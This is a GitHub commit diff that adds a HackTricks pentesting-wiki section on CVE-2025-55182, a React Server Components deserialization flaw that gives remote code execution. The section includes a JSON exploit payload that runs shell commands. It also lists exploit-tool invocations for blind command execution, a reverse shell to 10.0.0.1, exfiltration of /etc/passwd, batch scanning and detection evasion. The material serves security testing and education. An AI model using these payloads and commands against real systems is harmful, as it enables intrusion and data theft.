Skip to content

Commit 2a6ae2d

Browse files
author
HackTricks News Bot
committed
Add content from: CVE-2025-55182 React Server Components Remote Code Execution...
1 parent 4a4e150 commit 2a6ae2d

File tree

1 file changed

+48
-4
lines changed
  • src/network-services-pentesting/pentesting-web

1 file changed

+48
-4
lines changed

src/network-services-pentesting/pentesting-web/nextjs.md

Lines changed: 48 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -268,7 +268,7 @@ Catch-all routes handle multiple nested segments or unknown paths, providing fle
268268
```arduino
269269
my-nextjs-app/
270270
├── app/
271-
│ ├── [..slug]/
271+
│ ├── [...slug]/
272272
│ │ └── page.tsx
273273
│ ├── layout.tsx
274274
│ └── page.tsx
@@ -1285,10 +1285,10 @@ Search downloaded JS chunks for `createServerReference` and extract the hash and
12851285

12861286
```regex
12871287
# Strict pattern for standard minification
1288-
createServerReference\)\"([a-f0-9]{40,})\",\w+\.callServer,void 0,\w+\.findSourceMapURL,\"([^\"]+)\"\)
1288+
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
12891289
12901290
# Flexible pattern handling various minification styles
1291-
createServerReference[^\"]*\"([a-f0-9]{40,})\"[^\"]*\"([^\"]+)\"\s*\)
1291+
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
12921292
```
12931293

12941294
- Group 1: server action hash (40+ hex chars)
@@ -1332,9 +1332,53 @@ Replay in Repeater and test authorization, input validation and business logic o
13321332
- Requires `productionBrowserSourceMaps` enabled in production to recover names from bundles/source maps.
13331333
- Function-name disclosure is not a vulnerability by itself; use it to guide discovery and test each action’s authorization.
13341334

1335+
### React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
1336+
1337+
Next.js App Router deployments that expose Server Actions on `react-server-dom-webpack` **19.0.0–19.2.0 (Next.js 15.x/16.x)** contain a critical server-side prototype pollution during **Flight** chunk deserialization. By crafting `$` references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.
1338+
1339+
{{#ref}}
1340+
../../pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
1341+
{{#endref}}
1342+
1343+
#### Attack chain in Flight chunks
1344+
1345+
1. **Prototype pollution primitive:** Set `"then": "$1:__proto__:then"` so that the resolver writes a `then` function on `Object.prototype`. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
1346+
2. **Rebinding to the global `Function` constructor:** Point `_response._formData.get` at `"$1:constructor:constructor"`. During resolution, `object.constructor``Object`, and `Object.constructor``Function`, so future calls to `_formData.get()` actually execute `Function(...)`.
1347+
3. **Code execution via `_prefix`:** Place JavaScript source in `_response._prefix`. When the polluted `_formData.get` is invoked, the framework evaluates `Function(_prefix)(...)`, so the injected JS can run `require('child_process').exec()` or any other Node primitive.
1348+
1349+
#### Payload skeleton
1350+
1351+
```json
1352+
{
1353+
"then": "$1:__proto__:then",
1354+
"status": "resolved_model",
1355+
"reason": -1,
1356+
"value": "{\"then\":\"$B1337\"}",
1357+
"_response": {
1358+
"_prefix": "require('child_process').exec('id')",
1359+
"_chunks": "$Q2",
1360+
"_formData": { "get": "$1:constructor:constructor" }
1361+
}
1362+
}
1363+
```
1364+
1365+
The Python proof-of-concept converts this JSON into a full Flight payload and posts it to the Server Action endpoint. Once arbitrary JS runs, attackers can drop to the OS, stage web shells, or pivot laterally using the Node process credentials.
1366+
1367+
#### Operational tooling
1368+
1369+
- **Single target check / exploitation:**
1370+
- `python3 exploit.py http://target:3000 --check` sends non-destructive payloads to confirm the vulnerable resolver behavior.
1371+
- `python3 exploit.py http://target:3000 -c "id"` executes blind shell commands through the Function gadget.
1372+
- **Batch scanning:** `python3 exploit.py -f targets.txt --check --stealth crawler --delay 2 -o vulnerable.txt` iterates through a newline-separated target list (lines starting with `#` are ignored) and records confirmed hits.
1373+
- **Post-exploitation primitives:**
1374+
- Reverse shell: `python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444` (pair with `nc -lvnp 4444`).
1375+
- Data exfiltration over raw sockets: `python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444`.
1376+
- **OPSEC features:** `--proxy socks5://127.0.0.1:1080`, `--stealth {browser,crawler,security}`, `--delay <seconds>` and `--variants` randomize headers / payload encodings to evade noisy detections.
1377+
13351378
## References
13361379

13371380
- [Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping](https://www.adversis.io/blogs/pentesting-next-js-server-actions)
13381381
- [NextjsServerActionAnalyzer (Burp extension)](https://github.com/Adversis/NextjsServerActionAnalyzer)
1382+
- [CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool](https://github.com/Spritualkb/CVE-2025-55182-exp)
13391383

1340-
{{#include ../../banners/hacktricks-training.md}}
1384+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)